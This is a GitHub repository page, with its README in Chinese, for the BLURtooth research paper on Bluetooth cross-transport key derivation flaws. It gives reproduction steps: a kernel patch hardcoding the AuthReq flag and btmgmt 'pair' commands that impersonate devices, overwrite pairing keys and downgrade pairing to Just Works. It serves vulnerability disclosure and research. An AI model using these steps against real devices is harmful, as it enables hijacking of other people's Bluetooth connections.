francozappa/blur

GitHub: francozappa/blur

针对蓝牙跨传输密钥派生机制的安全研究项目,展示了如何利用双模蓝牙设备的密钥同步漏洞覆写配对密钥。

Stars: 19 | Forks: 5

# README 本仓库关于在 AsiaCCS'22 上发表的 BLUR 攻击,论文题为:**BLURtooth: Exploiting Cross-Transport Key Derivation in Bluetooth Classic and Bluetooth Low Energy.** 实用链接: [pdf](https://nebelwelt.net/files/22AsiaCCS.pdf), [视频](https://www.youtube.com/watch?v=FzFQD3XTLlA), [幻灯片](https://francozappa.github.io/publication/2022/blur/slides.pdf), [网站](https://hexhive.epfl.ch/BLURtooth/). BibTex 条目: ``` @inproceedings{antonioli22blur, author={Antonioli, Daniele and Tippenhauer, Nils Ole and Rasmussen, Kasper and Payer, Mathias}, title={{BLURtooth: Exploiting Cross-Transport Key Derivation in Bluetooth Classic and Bluetooth Low Energy}}, booktitle={Proceedings of the Asia conference on computer and communications security (ASIACCS)}, month={May}, year={2022} } ``` BLUR 攻击已被分配 [CVE-2020-15802](https://nvd.nist.gov/vuln/detail/CVE-2020-15802) 和 [CVE-2022-20361](https://nvd.nist.gov/vuln/detail/CVE-2022-20361)。 ## 初始化 在 README 的剩余部分,我们将 *Bluetooth Classic (又名 BR/EDR)* 表示为 *BT* *Bluetooth Low Energy* 表示为 *BLE*,将 *Cross-Transport Key Derivation* 表示为 *CTKD*。 我们还假设攻击设备和受害者支持 BT、BLE 和 CTKD。 这意味着设备支持 Bluetooth 4.2+ 和 BT/BLE Secure Connections。 执行攻击最简单的方法是使用一台设备同时作为受害者 和攻击设备。例如,我们建议使用 Linux 笔记本电脑作为 受害者/攻击设备,而任何其他设备作为另一个受害者。 我们正在使用运行 [bluez](https://github.com/bluez/bluez) 和 [bluez tools](https://github.com/bluez/bluez/tree/master/tools) 的 Linux 机器。我们 依赖 `btmgmt` 工具,浏览其[源代码](https://github.com/bluez/bluez/blob/master/tools/btmgmt.c)可能会有所帮助。特别是我们使用它的 `pair` 子命令,因为除其他功能外,它允许通过 BT/BLE 发送任意 配对请求,同时声明任意输入-输出 能力。 ``` Usage: pair [-c cap] [-t type] ``` 如果你想复现我们论文中展示的确切攻击场景,你必须做一些额外的工作。 具体来说,你需要复现 [BIAS attack](https://github.com/francozappa/bias) 中展示的设置。一旦你的设置准备就绪 你应该能够使用开发板作为你的 BT/BLE Controller, 以及 Linux 笔记本电脑作为 Host。此外,你应该能够从 Host 嗅探链 层 packets(例如,BT LMP 流量),并使用 [internalblue](https://github.com/seemoo-lab/internalblue) 在运行时动态修补 开发板的固件。 ## 执行 BLUR 攻击 ### 硬编码 NoInputNoOutput 能力(不取消设置 MitM 标志) 此步骤是可选的,需要修补你自己的 Linux 内核。 当使用 `btmgmt -c 3` 时,bluez 会自动取消设置 MitM 保护标志, 例如,它将 AuthReq 字节设置为 `0x02` 而不是 `0x03`。 然而,BLUR 攻击不需要取消设置此标志,但只需要 在远程设备支持输入-输出能力时声明 `NoInputNoOutput` 能力。这样做会将配对过程 降级为 Just Works,*而无需* 取消设置 MitM 标志。 实现此设置需要对 Linux 内核进行最小限度的修改。在 特别是在 `/net/bluetooth/hci_event.c` 中,我们将: ``` cp.authentication = conn->auth_type; ``` 改为: ``` cp.authentication = 0x03; ``` 这样做,我们将 AuthReq 标志硬编码为 `0x03`,无论我们声明 什么输入-输出能力。 ### 合法配对 像往常一样配对受害者设备。例如,如果你针对的是 智能手机,请将其与你的笔记本电脑配对(同时作为受害者和攻击 设备)。作为配对的一部分,可能需要一些用户交互(例如, Numeric Comparison)。 ### 打开 btmgmt shell * 记下受害者 Bluetooth 地址,表示为 `REMOTE-BTADD` * 打开终端 * 运行 `hciconfig` 并记下你的 hci 索引,例如 `0` * 运行 `sudo btmgmt -i 0` * 你应该看到一个包含 `[hci0] #` 的蓝色终端提示符 ### 通过 BLE 进行 Central Impersonation 攻击,[覆]写 BT 配对密钥 这里我假设受害者使用的是公共 BLE 地址。如果它使用 随机地址,请将 `-t` 选项更改为 `2` 从 btmgmt CLI 运行: ``` pair -t 1 REMOTE-BTADD ``` 如果你还需要将关联降级到 Just Works,请运行: ``` pair -c 3 -t 1 REMOTE-BTADD ``` `-c` 标志设置攻击者的输入-输出能力,值为 `0x3` 映射到 `NoInputNoOutput`,而笔记本电脑/智能手机的默认值 是 `0x1`,映射到 `Display Yes/No`。 ### 通过 BT 进行 Peripheral Impersonation 攻击,[覆]写 BLE 配对密钥 在这种情况下,即使我们模拟 BLE peripheral,我们也作为 Central 通过 BT 进行配对。 从 btmgmt CLI 运行: ``` pair -t 0 REMOTE-BTADD ``` 如果你还需要将关联降级到 Just Works,请运行: ``` pair -c 3 -t 0 REMOTE-BTADD ``` ### 非预期会话攻击 在模拟当前受害者未知(即未配对)的设备时,重复上述攻击。 ## 问答 (Bluetooth, CTKD, Linux, bluez, Wireshark) ### 如何将我的 BT/BLE 设备设置为可发现/可连接/可配对? 从 `bluetoothctl` CLI 你可以将 `discoverable` 设置为 `on` 或 `off` 以及 `pairable`。从 `btmgmt` CLI 你还可以 设置 `connectable` 标志。 ### 如何控制我的设备可被发现的时间长短? 从 `bluetoothctl`, 你可以使用 `discoverable-timeout` 控制可发现性超时, 例如,如果你将其设置为 `0`,则设备始终可被发现。 ### 如何检查我的 BT/BLE 设备是否支持配对或是否可配对? 对于 BT,当作为 Central 或 Peripheral 与远程设备配对时,你将收到以下 LMP packet:*LMP not accepted ext* (操作码: `0x02`) 并带有配对 不允许 (错误代码: `0x18`) 对于 BLE,当作为 Central 或 Peripheral 与远程设备配对时,你将收到以下 SMP packet:*SMP Pairing Failed Command* (操作码 `0x05`) 并带有 *Pairing Not Supported* (原因 `0x05`)。 ### 如何检查我的 BT/BLE 设备是否支持 Secure Connections? 对于 BT,在与远程设备配对时,查看 LMP 功能包中的 Host 和 Controller 的 Secure Connections 支持,例如,使用 以下 Wireshark 显示过滤器:`btbrlmp.efeat.scc or btbrlmp.efeat.sch`。 对于 BLE,在与远程设备配对时,在 SMP Pairing Request 或 Response 中检查包含 Secure Connection 标志的 AuthReq 字节,例如, 使用以下 Wireshark 显示过滤器:`btsmp.sc_flag == 1`。 ### 如何检查我的 BT/BLE 设备是否支持 CTKD? 对于 BT,在与远程设备配对时,BLE SMP 流量通过 L2CAP 隧道传输。因此,通过使用 `btl2cap.payload` Wireshark 过滤器,你应该看到一个 来自 Central 到 Peripheral 的 packet,包含以 `0x01` (SMP Pairing Request) 开头的有效载荷,以及另一个方向上的 有效载荷以 `0x02` (SMP Pairing Response) 开头的 packet。然后你还应该看到 其他编码 SMP 密钥分发阶段的原始 L2CAP packets。 对于 BLE,在与远程设备配对时,在 SMP Pairing Request 或 Response 中检查 Central 和 Peripheral 是否都愿意在 SMP 密钥分发期间发送 和接收链路密钥,例如,使用以下 Wireshark 过滤器 `btsmp.key_dist_linkkey or btsmp.key_dist_linkkey`。
标签:AsiaCCS, BLE, Bluetooth Classic, BlueZ, BLUR攻击, CTKD, CVE-2020-15802, CVE-2022-20361, meg, PoC, 中间人攻击, 信息安全, 协议漏洞, 双模蓝牙, 密钥协商, 暴力破解, 网络安全, 蓝牙安全, 蓝牙降级攻击, 跨传输密钥派生, 隐私保护